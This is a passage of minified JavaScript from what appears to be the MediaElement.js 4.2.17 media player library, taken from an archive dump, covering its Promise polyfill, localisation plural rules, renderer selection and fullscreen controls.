Date).getTime(),n=Math.max(0,16-(t-a)),r=window.setTimeout(function(){e(t+n)},n);return a=t+n,r}),window.cancelAnimationFrame||(window.cancelAnimationFrame=function(e){clearTimeout(e)})}(),/firefox/i.test(navigator.userAgent)){var l=window.getComputedStyle;window.getComputedStyle=function(e,t){var n=l(e,t);return null===n?{getPropertyValue:function(){}}:n}}window.Promise||(window.Promise=i.default),(r=window.Node||window.Element)&&r.prototype&&null===r.prototype.children&&Object.defineProperty(r.prototype,"children",{get:function(){for(var e=0,t=void 0,n=this.childNodes,r=[];t=n[e++];)1===t.nodeType&&r.push(t);return r}})},{2:2,4:4}]},{},[20,6,5,9,14,11,10,12,13,15]); mediaelement/mediaelement-and-player.min.js 0000644 00000464465 15111757753 0015037 0 ustar 00 /*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */ !function r(a,s,l){function d(n,e){if(!s[n]){if(!a[n]){var t="function"==typeof require&&require;if(!e&&t)return t(n,!0);if(u)return u(n,!0);var o=new Error("Cannot find module '"+n+"'");throw o.code="MODULE_NOT_FOUND",o}var i=s[n]={exports:{}};a[n][0].call(i.exports,function(e){var t=a[n][1][e];return d(t||e)},i,i.exports,r,a,s,l)}return s[n].exports}for(var u="function"==typeof require&&require,e=0;e<l.length;e++)d(l[e]);return d}({1:[function(e,t,n){},{}],2:[function(i,r,e){(function(e){var t,n=void 0!==e?e:"undefined"!=typeof window?window:{},o=i(1);"undefined"!=typeof document?t=document:(t=n["__GLOBAL_DOCUMENT_CACHE@4"])||(t=n["__GLOBAL_DOCUMENT_CACHE@4"]=o),r.exports=t}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{1:1}],3:[function(e,n,t){(function(e){var t;t="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{},n.exports=t}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],4:[function(e,n,t){!function(e){var t=setTimeout;function o(){}function r(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],d(e,this)}function i(n,o){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,r._immediateFn(function(){var e=1===n._state?o.onFulfilled:o.onRejected;if(null!==e){var t;try{t=e(n._value)}catch(e){return void s(o.promise,e)}a(o.promise,t)}else(1===n._state?a:s)(o.promise,n._value)})):n._deferreds.push(o)}function a(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof r)return t._state=3,t._value=e,void l(t);if("function"==typeof n)return void d((o=n,i=e,function(){o.apply(i,arguments)}),t)}t._state=1,t._value=e,l(t)}catch(e){s(t,e)}var o,i}function s(e,t){e._state=2,e._value=t,l(e)}function l(e){2===e._state&&0===e._deferreds.length&&r._immediateFn(function(){e._handled||r._unhandledRejectionFn(e._value)});for(var t=0,n=e._deferreds.length;t<n;t++)i(e,e._deferreds[t]);e._deferreds=null}function d(e,t){var n=!1;try{e(function(e){n||(n=!0,a(t,e))},function(e){n||(n=!0,s(t,e))})}catch(e){if(n)return;n=!0,s(t,e)}}r.prototype.catch=function(e){return this.then(null,e)},r.prototype.then=function(e,t){var n=new this.constructor(o);return i(this,new function(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}(e,t,n)),n},r.all=function(e){var s=Array.prototype.slice.call(e);return new r(function(o,i){if(0===s.length)return o([]);var r=s.length;function a(t,e){try{if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if("function"==typeof n)return void n.call(e,function(e){a(t,e)},i)}s[t]=e,0==--r&&o(s)}catch(e){i(e)}}for(var e=0;e<s.length;e++)a(e,s[e])})},r.resolve=function(t){return t&&"object"==typeof t&&t.constructor===r?t:new r(function(e){e(t)})},r.reject=function(n){return new r(function(e,t){t(n)})},r.race=function(i){return new r(function(e,t){for(var n=0,o=i.length;n<o;n++)i[n].then(e,t)})},r._immediateFn="function"==typeof setImmediate&&function(e){setImmediate(e)}||function(e){t(e,0)},r._unhandledRejectionFn=function(e){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",e)},r._setImmediateFn=function(e){r._immediateFn=e},r._setUnhandledRejectionFn=function(e){r._unhandledRejectionFn=e},void 0!==n&&n.exports?n.exports=r:e.Promise||(e.Promise=r)}(this)},{}],5:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var o,a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=e(7),r=(o=i)&&o.__esModule?o:{default:o},s=e(15),l=e(27);var d={lang:"en",en:s.EN,language:function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];if(null!=t&&t.length){if("string"!=typeof t[0])throw new TypeError("Language code must be a string value");if(!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(t[0]))throw new TypeError("Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters");d.lang=t[0],void 0===d[t[0]]?(t[1]=null!==t[1]&&void 0!==t[1]&&"object"===a(t[1])?t[1]:{},d[t[0]]=(0,l.isObjectEmpty)(t[1])?s.EN:t[1]):null!==t[1]&&void 0!==t[1]&&"object"===a(t[1])&&(d[t[0]]=t[1])}return d.lang},t:function(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:null;if("string"==typeof e&&e.length){var n=void 0,o=void 0,i=d.language(),r=function(e,t,n){return"object"!==(void 0===e?"undefined":a(e))||"number"!=typeof t||"number"!=typeof n?e:[function(){return arguments.length<=1?void 0:arguments[1]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 0===(arguments.length<=0?void 0:arguments[0])||1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:0!==(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])||11===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])||12===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<20?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:0===(arguments.length<=0?void 0:arguments[0])||0<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<20?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:[3]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<=4?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return(arguments.length<=0?void 0:arguments[0])%100==1?arguments.length<=2?void 0:arguments[2]:(arguments.length<=0?void 0:arguments[0])%100==2?arguments.length<=3?void 0:arguments[3]:(arguments.length<=0?void 0:arguments[0])%100==3||(arguments.length<=0?void 0:arguments[0])%100==4?arguments.length<=4?void 0:arguments[4]:arguments.length<=1?void 0:arguments[1]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<7?arguments.length<=3?void 0:arguments[3]:6<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<11?arguments.length<=4?void 0:arguments[4]:arguments.length<=5?void 0:arguments[5]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:3<=(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<=10?arguments.length<=4?void 0:arguments[4]:11<=(arguments.length<=0?void 0:arguments[0])%100?arguments.length<=5?void 0:arguments[5]:arguments.length<=6?void 0:arguments[6]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:0===(arguments.length<=0?void 0:arguments[0])||1<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<11?arguments.length<=2?void 0:arguments[2]:10<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<20?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1?arguments.length<=1?void 0:arguments[1]:(arguments.length<=0?void 0:arguments[0])%10==2?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 11!==(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])%10==1?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:8!==(arguments.length<=0?void 0:arguments[0])&&11!==(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:3===(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]}][n].apply(null,[t].concat(e))};return void 0!==d[i]&&(n=d[i][e],null!==t&&"number"==typeof t&&(o=d[i]["mejs.plural-form"],n=r.apply(null,[n,t,o]))),!n&&d.en&&(n=d.en[e],null!==t&&"number"==typeof t&&(o=d.en["mejs.plural-form"],n=r.apply(null,[n,t,o]))),n=n||e,null!==t&&"number"==typeof t&&(n=n.replace("%1",t)),(0,l.escapeHTML)(n)}return e}};r.default.i18n=d,"undefined"!=typeof mejsL10n&&r.default.i18n.language(mejsL10n.language,mejsL10n.strings),n.default=d},{15:15,27:27,7:7}],6:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var L="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},F=o(e(3)),j=o(e(2)),I=o(e(7)),M=e(27),O=e(28),D=e(8),R=e(25);function o(e){return e&&e.__esModule?e:{default:e}}var i=function e(t,n,o){var c=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e);var f=this;o=Array.isArray(o)?o:null,f.defaults={renderers:[],fakeNodeName:"mediaelementwrapper",pluginPath:"build/",shimScriptAccess:"sameDomain"},n=Object.assign(f.defaults,n),f.mediaElement=j.default.createElement(n.fakeNodeName);var i=t,r=!1;if("string"==typeof t?f.mediaElement.originalNode=j.default.getElementById(t):i=(f.mediaElement.originalNode=t).id,void 0===f.mediaElement.originalNode||null===f.mediaElement.originalNode)return null;f.mediaElement.options=n,i=i||"mejs_"+Math.random().toString().slice(2),f.mediaElement.originalNode.setAttribute("id",i+"_from_mejs");var a=f.mediaElement.originalNode.tagName.toLowerCase();-1<["video","audio"].indexOf(a)&&!f.mediaElement.originalNode.getAttribute("preload")&&f.mediaElement.originalNode.setAttribute("preload","none"),f.mediaElement.originalNode.parentNode.insertBefore(f.mediaElement,f.mediaElement.originalNode),f.mediaElement.appendChild(f.mediaElement.originalNode);var s=function(t,e){if("https:"===F.default.location.protocol&&0===t.indexOf("http:")&&R.IS_IOS&&-1<I.default.html5media.mediaTypes.indexOf(e)){var n=new XMLHttpRequest;n.onreadystatechange=function(){if(4===this.readyState&&200===this.status){var e=(F.default.URL||F.default.webkitURL).createObjectURL(this.response);return f.mediaElement.originalNode.setAttribute("src",e),e}return t},n.open("GET",t),n.responseType="blob",n.send()}return t},l=void 0;if(null!==o)l=o;else if(null!==f.mediaElement.originalNode)switch(l=[],f.mediaElement.originalNode.nodeName.toLowerCase()){case"iframe":l.push({type:"",src:f.mediaElement.originalNode.getAttribute("src")});break;case"audio":case"video":var d=f.mediaElement.originalNode.children.length,u=f.mediaElement.originalNode.getAttribute("src");if(u){var p=f.mediaElement.originalNode,m=(0,O.formatType)(u,p.getAttribute("type"));l.push({type:m,src:s(u,m)})}for(var h=0;h<d;h++){var v=f.mediaElement.originalNode.children[h];if("source"===v.tagName.toLowerCase()){var g=v.getAttribute("src"),y=(0,O.formatType)(g,v.getAttribute("type"));l.push({type:y,src:s(g,y)})}}}f.mediaElement.id=i,f.mediaElement.renderers={},f.mediaElement.events={},f.mediaElement.promises=[],f.mediaElement.renderer=null,f.mediaElement.rendererName=null,f.mediaElement.changeRenderer=function(e,t){var n=c,o=2<Object.keys(t[0]).length?t[0]:t[0].src;if(void 0!==n.mediaElement.renderer&&null!==n.mediaElement.renderer&&n.mediaElement.renderer.name===e)return n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.show(),n.mediaElement.renderer.setSrc(o),!0;void 0!==n.mediaElement.renderer&&null!==n.mediaElement.renderer&&(n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.hide());var i=n.mediaElement.renderers[e],r=null;if(null!=i)return i.show(),i.setSrc(o),n.mediaElement.renderer=i,n.mediaElement.rendererName=e,!0;for(var a=n.mediaElement.options.renderers.length?n.mediaElement.options.renderers:D.renderer.order,s=0,l=a.length;s<l;s++){var d=a[s];if(d===e){r=D.renderer.renderers[d];var u=Object.assign(r.options,n.mediaElement.options);return(i=r.create(n.mediaElement,u,t)).name=e,n.mediaElement.renderers[r.name]=i,n.mediaElement.renderer=i,n.mediaElement.rendererName=e,i.show(),!0}}return!1},f.mediaElement.setSize=function(e,t){void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&f.mediaElement.renderer.setSize(e,t)},f.mediaElement.generateError=function(e,t){e=e||"",t=Array.isArray(t)?t:[];var n=(0,M.createEvent)("error",f.mediaElement);n.message=e,n.urls=t,f.mediaElement.dispatchEvent(n),r=!0};var E=I.default.html5media.properties,b=I.default.html5media.methods,S=function(t,e,n,o){var i=t[e];Object.defineProperty(t,e,{get:function(){return n.apply(t,[i])},set:function(e){return i=o.apply(t,[e])}})},x=function(e){if("src"!==e){var t=""+e.substring(0,1).toUpperCase()+e.substring(1),n=function(){return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer["get"+t]?f.mediaElement.renderer["get"+t]():null},o=function(e){void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer["set"+t]&&f.mediaElement.renderer["set"+t](e)};S(f.mediaElement,e,n,o),f.mediaElement["get"+t]=n,f.mediaElement["set"+t]=o}},w=function(){return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer?f.mediaElement.renderer.getSrc():null},P=function(e){var t=[];if("string"==typeof e)t.push({src:e,type:e?(0,O.getTypeFromFile)(e):""});else if("object"===(void 0===e?"undefined":L(e))&&void 0!==e.src){var n=(0,O.absolutizeUrl)(e.src),o=e.type,i=Object.assign(e,{src:n,type:""!==o&&null!=o||!n?o:(0,O.getTypeFromFile)(n)});t.push(i)}else if(Array.isArray(e))for(var r=0,a=e.length;r<a;r++){var s=(0,O.absolutizeUrl)(e[r].src),l=e[r].type,d=Object.assign(e[r],{src:s,type:""!==l&&null!=l||!s?l:(0,O.getTypeFromFile)(s)});t.push(d)}var u=D.renderer.select(t,f.mediaElement.options.renderers.length?f.mediaElement.options.renderers:[]),c=void 0;if(f.mediaElement.paused||null==f.mediaElement.src||""===f.mediaElement.src||(f.mediaElement.pause(),c=(0,M.createEvent)("pause",f.mediaElement),f.mediaElement.dispatchEvent(c)),f.mediaElement.originalNode.src=t[0].src||"",null!==u||!t[0].src)return!(null==t[0].src||""===t[0].src)?f.mediaElement.changeRenderer(u.rendererName,t):null;f.mediaElement.generateError("No renderer found",t)},T=function(e,t){try{if("play"!==e||"native_dash"!==f.mediaElement.rendererName&&"native_hls"!==f.mediaElement.rendererName&&"vimeo_iframe"!==f.mediaElement.rendererName)f.mediaElement.renderer[e](t);else{var n=f.mediaElement.renderer[e](t);n&&"function"==typeof n.then&&n.catch(function(){f.mediaElement.paused&&setTimeout(function(){var e=f.mediaElement.renderer.play();void 0!==e&&e.catch(function(){f.mediaElement.renderer.paused||f.mediaElement.renderer.pause()})},150)})}}catch(e){f.mediaElement.generateError(e,l)}},C=function(o){f.mediaElement[o]=function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer[o]&&(f.mediaElement.promises.length?Promise.all(f.mediaElement.promises).then(function(){T(o,t)}).catch(function(e){f.mediaElement.generateError(e,l)}):T(o,t)),null}};S(f.mediaElement,"src",w,P),f.mediaElement.getSrc=w,f.mediaElement.setSrc=P;for(var k=0,_=E.length;k<_;k++)x(E[k]);for(var N=0,A=b.length;N<A;N++)C(b[N]);return f.mediaElement.addEventListener=function(e,t){f.mediaElement.events[e]=f.mediaElement.events[e]||[],f.mediaElement.events[e].push(t)},f.mediaElement.removeEventListener=function(e,t){if(!e)return f.mediaElement.events={},!0;var n=f.mediaElement.events[e];if(!n)return!0;if(!t)return f.mediaElement.events[e]=[],!0;for(var o=0;o<n.length;o++)if(n[o]===t)return f.mediaElement.events[e].splice(o,1),!0;return!1},f.mediaElement.dispatchEvent=function(e){var t=f.mediaElement.events[e.type];if(t)for(var n=0;n<t.length;n++)t[n].apply(null,[e])},f.mediaElement.destroy=function(){var e=f.mediaElement.originalNode.cloneNode(!0),t=f.mediaElement.parentElement;e.removeAttribute("id"),e.remove(),f.mediaElement.remove(),t.appendChild(e)},l.length&&(f.mediaElement.src=l),f.mediaElement.promises.length?Promise.all(f.mediaElement.promises).then(function(){f.mediaElement.options.success&&f.mediaElement.options.success(f.mediaElement,f.mediaElement.originalNode)}).catch(function(){r&&f.mediaElement.options.error&&f.mediaElement.options.error(f.mediaElement,f.mediaElement.originalNode)}):(f.mediaElement.options.success&&f.mediaElement.options.success(f.mediaElement,f.mediaElement.originalNode),r&&f.mediaElement.options.error&&f.mediaElement.options.error(f.mediaElement,f.mediaElement.originalNode)),f.mediaElement};F.default.MediaElement=i,I.default.MediaElement=i,n.default=i},{2:2,25:25,27:27,28:28,3:3,7:7,8:8}],7:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var o,i=e(3);var r={version:"4.2.17",html5media:{properties:["volume","src","currentTime","muted","duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable","currentSrc","preload","bufferedBytes","bufferedTime","initialTime","startOffsetTime","defaultPlaybackRate","playbackRate","played","autoplay","loop","controls"],readOnlyProperties:["duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable"],methods:["load","play","pause","canPlayType"],events:["loadstart","durationchange","loadedmetadata","loadeddata","progress","canplay","canplaythrough","suspend","abort","error","emptied","stalled","play","playing","pause","waiting","seeking","seeked","timeupdate","ended","ratechange","volumechange"],mediaTypes:["audio/mp3","audio/ogg","audio/oga","audio/wav","audio/x-wav","audio/wave","audio/x-pn-wav","audio/mpeg","audio/mp4","video/mp4","video/webm","video/ogg","video/ogv"]}};((o=i)&&o.__esModule?o:{default:o}).default.mejs=r,n.default=r},{3:3}],8:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.renderer=void 0;var o,i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},r=function(){function o(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(e,t,n){return t&&o(e.prototype,t),n&&o(e,n),e}}(),a=e(7),s=(o=a)&&o.__esModule?o:{default:o};var l=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.renderers={},this.order=[]}return r(e,[{key:"add",value:function(e){if(void 0===e.name)throw new TypeError("renderer must contain at least `name` property");this.renderers[e.name]=e,this.order.push(e.name)}},{key:"select",value:function(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:[],n=t.length;if(t=t.length?t:this.order,!n){var o=[/^(html5|native)/i,/^flash/i,/iframe$/i],i=function(e){for(var t=0,n=o.length;t<n;t++)if(o[t].test(e))return t;return o.length};t.sort(function(e,t){return i(e)-i(t)})}for(var r=0,a=t.length;r<a;r++){var s=t[r],l=this.renderers[s];if(null!=l)for(var d=0,u=e.length;d<u;d++)if("function"==typeof l.canPlayType&&"string"==typeof e[d].type&&l.canPlayType(e[d].type))return{rendererName:l.name,src:e[d].src}}return null}},{key:"order",set:function(e){if(!Array.isArray(e))throw new TypeError("order must be an array of strings.");this._order=e},get:function(){return this._order}},{key:"renderers",set:function(e){if(null!==e&&"object"!==(void 0===e?"undefined":i(e)))throw new TypeError("renderers must be an array of objects.");this._renderers=e},get:function(){return this._renderers}}]),e}(),d=n.renderer=new l;s.default.Renderers=d},{7:7}],9:[function(e,t,n){"use strict";var f=a(e(3)),p=a(e(2)),i=a(e(5)),o=e(16),r=a(o),m=function(e){{if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}}(e(25)),h=e(27),v=e(26),g=e(28);function a(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{usePluginFullScreen:!0,fullscreenText:null,useFakeFullscreen:!1}),Object.assign(r.default.prototype,{isFullScreen:!1,isNativeFullScreen:!1,isInIframe:!1,isPluginClickThroughCreated:!1,fullscreenMode:"",containerSizeTimeout:null,buildfullscreen:function(n){if(n.isVideo){n.isInIframe=f.default.location!==f.default.parent.location,n.detectFullscreenMode();var o=this,e=(0,h.isString)(o.options.fullscreenText)?o.options.fullscreenText:i.default.t("mejs.fullscreen"),t=p.default.createElement("div");if(t.className=o.options.classPrefix+"button "+o.options.classPrefix+"fullscreen-button",t.innerHTML='<button type="button" aria-controls="'+o.id+'" title="'+e+'" aria-label="'+e+'" tabindex="0"></button>',o.addControlElement(t,"fullscreen"),t.addEventListener("click",function(){m.HAS_TRUE_NATIVE_FULLSCREEN&&m.IS_FULLSCREEN||n.isFullScreen?n.exitFullScreen():n.enterFullScreen()}),n.fullscreenBtn=t,o.options.keyActions.push({keys:[70],action:function(e,t,n,o){o.ctrlKey||void 0!==e.enterFullScreen&&(e.isFullScreen?e.exitFullScreen():e.enterFullScreen())}}),o.exitFullscreenCallback=function(e){var t=e.which||e.keyCode||0;o.options.enableKeyboard&&27===t&&(m.HAS_TRUE_NATIVE_FULLSCREEN&&m.IS_FULLSCREEN||o.isFullScreen)&&n.exitFullScreen()},o.globalBind("keydown",o.exitFullscreenCallback),o.normalHeight=0,o.normalWidth=0,m.HAS_TRUE_NATIVE_FULLSCREEN){n.globalBind(m.FULLSCREEN_EVENT_NAME,function(){n.isFullScreen&&(m.isFullScreen()?(n.isNativeFullScreen=!0,n.setControlsSize()):(n.isNativeFullScreen=!1,n.exitFullScreen()))})}}},cleanfullscreen:function(e){e.exitFullScreen(),e.globalUnbind("keydown",e.exitFullscreenCallback)},detectFullscreenMode:function(){var e=null!==this.media.rendererName&&/(native|html5)/i.test(this.media.rendererName),t="";return m.HAS_TRUE_NATIVE_FULLSCREEN&&e?t="native-native":m.HAS_TRUE_NATIVE_FULLSCREEN&&!e?t="plugin-native":this.usePluginFullScreen&&m.SUPPORT_POINTER_EVENTS&&(t="plugin-click"),this.fullscreenMode=t},enterFullScreen:function(){var o=this,e=null!==o.media.rendererName&&/(html5|native)/i.test(o.media.rendererName),t=getComputedStyle(o.getElement(o.container));if(o.isVideo)if(!1===o.options.useFakeFullscreen&&(m.IS_IOS||m.IS_SAFARI)&&m.HAS_IOS_FULLSCREEN&&"function"==typeof o.media.originalNode.webkitEnterFullscreen&&o.media.originalNode.canPlayType((0,g.getTypeFromFile)(o.media.getSrc())))o.media.originalNode.webkitEnterFullscreen();else{if((0,v.addClass)(p.default.documentElement,o.options.classPrefix+"fullscreen"),(0,v.addClass)(o.getElement(o.container),o.options.classPrefix+"container-fullscreen"),o.normalHeight=parseFloat(t.height),o.normalWidth=parseFloat(t.width),"native-native"!==o.fullscreenMode&&"plugin-native"!==o.fullscreenMode||(m.requestFullScreen(o.getElement(o.container)),o.isInIframe&&setTimeout(function e(){if(o.isNativeFullScreen){var t=f.default.innerWidth||p.default.documentElement.clientWidth||p.default.body.clientWidth,n=screen.width;.002*n<Math.abs(n-t)?o.exitFullScreen():setTimeout(e,500)}},1e3)),o.getElement(o.container).style.width="100%",o.getElement(o.container).style.height="100%",o.containerSizeTimeout=setTimeout(function(){o.getElement(o.container).style.width="100%",o.getElement(o.container).style.height="100%",o.setControlsSize()},500),e)o.node.style.width="100%",o.node.style.height="100%";else for(var n=o.getElement(o.container).querySelectorAll("embed, object, video"),i=n.length,r=0;r<i;r++)n[r].style.width="100%",n[r].style.height="100%";o.options.setDimensions&&"function"==typeof o.media.setSize&&o.media.setSize(screen.width,screen.height);for(var a=o.getElement(o.layers).children,s=a.length,l=0;l<s;l++)a[l].style.width="100%",a[l].style.height="100%";o.fullscreenBtn&&((0,v.removeClass)(o.fullscreenBtn,o.options.classPrefix+"fullscreen"),(0,v.addClass)(o.fullscreenBtn,o.options.classPrefix+"unfullscreen")),o.setControlsSize(),o.isFullScreen=!0;var d=Math.min(screen.width/o.width,screen.height/o.height),u=o.getElement(o.container).querySelector("."+o.options.classPrefix+"captions-text");u&&(u.style.fontSize=100*d+"%",u.style.lineHeight="normal",o.getElement(o.container).querySelector("."+o.options.classPrefix+"captions-position").style.bottom=(screen.height-o.normalHeight)/2-o.getElement(o.controls).offsetHeight/2+d+15+"px");var c=(0,h.createEvent)("enteredfullscreen",o.getElement(o.container));o.getElement(o.container).dispatchEvent(c)}},exitFullScreen:function(){var 